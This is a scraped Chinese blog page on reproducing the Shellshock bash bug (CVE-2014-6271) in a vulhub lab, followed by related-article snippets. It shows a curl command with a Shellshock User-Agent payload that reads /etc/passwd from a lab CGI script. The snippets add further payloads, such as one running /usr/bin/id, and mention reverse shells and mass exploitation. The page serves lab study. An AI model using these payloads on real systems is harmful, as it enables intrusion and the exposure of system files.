【vulhub】shellshock-bash破壳漏洞复现与利用

最新推荐文章于 2024-08-20 22:19:45 发布
原创 最新推荐文章于 2024-08-20 22:19:45 发布 · 1k 阅读 · 1 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#bash #shell

本文介绍了Bash ShellShock漏洞，通过三个exploit示例展示了如何利用该漏洞执行命令，包括从远程获取系统信息。文章还提及了利用漏洞反弹shell的方法，进一步探讨了命令注入的安全风险。

特征

如图所示
1、网站title是Bash ShellShock
2、victim.cgi文件
在这里插入图片描述

在这里插入图片描述

详细说明请看
https://www.cnblogs.com/cute-puli/p/14649873.html
楼主这里只做实验
3个exp

exp1

curl -A "() { :; }; echo; /bin/cat /etc/passwd" http://192.168.100.34:8080/victim.cgi
最低0.47元/天 解锁文章
vulhub漏洞复现-bash(CVE-2014-6271) shellshock-破壳漏洞
weixin_45095113的博客
12-21 550
vulhub漏洞复现-bash(CVE-2014-6271) shellshock-破壳漏洞复现
CVE-2014-6271——bash破壳漏洞复现
per_se_veran_ce的博客
08-23 1282
（1）检查是否存在bash漏洞 env x=’() { :;}; echo vulnerable’ bash -c “echo this is a test” 安装、配置apache服务 Apache支持CGI 在cgi-bin下创建一个cgi测试文件test.cgi，并赋予它777的权限 chmod 777 test.cgi curl -H 'x: () { :;...
CVE-2014-6271“破壳”漏洞利用过程
D-river博客
11-12 9494
前言CVE-2014-6271（即“破壳”漏洞）广泛存在与GNU Bash 版本小于等于4.3的*inux的系统之中，只要目标服务器开放着与Bash相交互的应用与服务，就有可能成功触发漏洞，获取目标系统当前Bash运行用户相同权限的shell接口。实验环境攻击机：kali linux 目标机： Ubuntu ip: 10.10.10.129漏洞验证 Bash版本小于等于4.3可能存在漏洞 可
Shellshock漏洞复现
weixin_44283446的博客
03-23 5172
Shellshock漏洞复现bash说明漏洞原理漏洞复现环境说明漏洞条件漏洞复现 bash说明 Bash是Unix shell的一种。1989年发布第一个正式版本，原先是计划用在GNU操作系统上，但能运行于大多数类Unix系统的操作系统之上。 漏洞原理 目前的Bash使用的环境变量是通过函数名称来调用的，导致漏洞出问题的是以”(){”开头定义的环境变量在命令env中解析成函数后，Bash执行未退出，而是继续解析并执行shell命令，而其核心的原因在于在输入的过滤中没有严格限制边界，也没有做出合法化的参
Bash破壳漏洞
weixin_33911824的博客
07-30 277
“破壳”是一个严重漏洞的别名，在Red Hat、CentOS、Ubuntu 、Fedora 、Amazon Linux 、OS X 10.10中均拥有存在CVE-2014-6271（即“破壳”漏洞）漏洞的Bash版本，同时由于Bash在各主流操作系统的广泛应用，此漏洞的影响范围包括但不限于大多数应用Bash的Unix、Linux、Mac OS X，而针对这些操作系统管理下...
Shellshock 破壳漏洞（CVE-2014-6271）
EC_Carrot的博客
07-29 602
漏洞简介 GNU Bash 4.3及之前版本中存在安全漏洞，该漏洞源于程序没有正确处理环境变量值内的函数定义。远程攻击者可借助特制的环境变量利用该漏洞执行任意代码。 漏洞复现 将payload附在User-Agent中访问victim.cgi，即可执行命令： User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /usr/bin/id ...
【vulhub】漏洞复现之bash（Shellshock CVE-2014-6271）复现
qq_45300786的博客
04-16 471
https://blog.csdn.net/weixin_43071873/article/details/110233234 https://www.cnblogs.com/tr1ple/p/11203366.html
Bash 破壳漏洞Shellshock (CVE-2014-6271)复现
Makboli的博客
08-23 1851
Bash 破壳漏洞Shellshock (CVE-2014-6271)复现
bash(CVE-2014-6271) shellshock-破壳漏洞复现
weixin_45095113的博客
01-03 861
bash(CVE-2014-6271) shellshock-破壳漏洞复现
Metasploit漏洞利用系列（七）：MSF渗透测试 - Bash Shellshock（破壳漏洞）实战
最新发布
2402_86373248的博客
08-20 1352
Shellshock漏洞因其广泛的影响范围和严重的后果，提醒我们保持系统和软件更新的重要性。通过本实战演练，我们不仅学习了如何利用Metasploit Framework测试系统是否存在此类漏洞，同时也强调了防御措施的重要性，如定期更新系统和软件、监控网络安全状况以及实施严格的输入验证等。一旦目标系统上的bash shell执行了我们的恶意代码，将会在攻击机上建立一个反向bash shell，从而实现对目标的控制。Metasploit提供了一个专门针对Shellshock漏洞的模块，我们使用它来构造攻击。
CVE-2014-6271 “破壳“ 漏洞（cgi-bin）
墨痕诉清风的博客
07-19 3132
CVE-2014-6271（即“破壳”漏洞）广泛存在与GNUBash版本小于等于4.3的*inux的系统之中，只要目标服务器开放着与Bash相交互的应用与服务，就有可能成功触发漏洞，获取目标系统当前Bash运行用户相同权限的shell接口。该漏洞利用条件较多，1.bash版本小于等于4.3，2.攻击者可以控制环境变量，3.新的bash进程被打开触发漏洞并执行命令。简单点说，没有cgi脚本继承环境变量，就玩不了；有cgi脚本的，bash版本过高也玩不了。catecho;do";};......
shellshock漏洞复现
qq_45570082的博客
04-13 419
复现过程 用别人做好的docker进行复现 docker search shellshock docker pull hmlio/vaas-cve-2014-6271 docker run -it -p 80:80 --name test hmlio/vaas-cve-2014-6271 /bin/bash 进入之后先进行本地测试： root@96803784d9f2:/# test='() {...
Vulhub-Shellshock Remote Command Injection (CVE-2014-6271)
ad12456的博客
05-18 586
Shellshock远程命令注入
LINUX漏洞复现篇之ShellShock漏洞
xf555er的博客
12-06 1262
ShellShock漏洞, 中文称为"破壳漏洞", 是Unix Shell中的安全漏洞在一些网络服务器的部署中, 使用bash来处理某些请求, 允许攻击者通过低版本的bash执行任意Shell命令此漏洞在调用BashShell之前使用payload创建环境变量, 这些环境变量包含Shell代码, 在Shell被调用后代码会被执行bash使用的环境变量是通过函数名称来调用的，以""开头通过环境变量来定义，而在处理这样的恶意的函数环境变量时，并没有以函数结尾 “” 为结束，而是执行其后的恶意shell命令Vul
Bash Shellshock(Bash远程代码执行)漏洞批量利用脚本
热门推荐
Exploit的小站~
05-10 3万+
Bash远程代码执行漏洞的威力确实要比心脏滴血大很多，但是影响范围不是很广泛，不过昨天的分析文章Bash远程代码执行漏洞分析中末尾提到了这个漏洞的批量问题。 其中最最简单的方法就是使用搜索引擎的hacking技术，这里我使用的Google Hacking语法结合Google API来进行链接的抓取。只不过在国内的话。。。。需要加代理。 程序中的代理是我本地的goagent代理，端口是8087。如何...
【研究】Shellshock 破壳漏洞bash命令执行（CVE-2014-6271）
god_Zeo的安全博客
09-03 1343
【研究】Shellshock 破壳漏洞（CVE-2014-6271）1.环境2.原理3.影响版本4.利用过程 1.环境 环境 https://github.com/vulhub/vulhub/blob/master/README.zh-cn.md 这个搭环境很方便快捷，具体可以看说明，很简单 2.原理 目前的Bash使用的环境变量是通过函数名称来调用的，导致漏洞出问题是以“(){”开头定义的环境变...
“破壳”(Shellshock)漏洞修复
PrudentWoo 的个人空间
10-10 5825
“破壳”(Shellshock)漏洞修复   背景：          距离“破壳”(Shellshock)漏洞漏洞爆发一句过去两周有余了(2014年9月24日公布)。相信很多人都已经听说过了这个危害等级为十的漏洞，编号为CVE-2014-6271，该漏洞将导致远程攻击者在受影响的系统上执行任意代码；相比之下，与上一个著名的漏洞“心脏出血”只有五，不过奇怪的是，“破壳”漏洞目前的
Shellshock（破壳）系列漏洞简要分析及检测
Traxer的学习之路
03-13 4859
1.漏洞简介2.POC验证2.1 CVE 2014-6271最开始的shell测试脚本如下，主要的代码是第五行，它先使用env命令将() { :;}; echo vulnerable赋值给环境变量x，随后启动一个新的bash进程并执行命令echo test，并将错误信息重定向到null，再查找有无’vulnerable’这个字符串输出，如果输出成功则表示存在漏洞：#!/bin/bash EXITCO
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值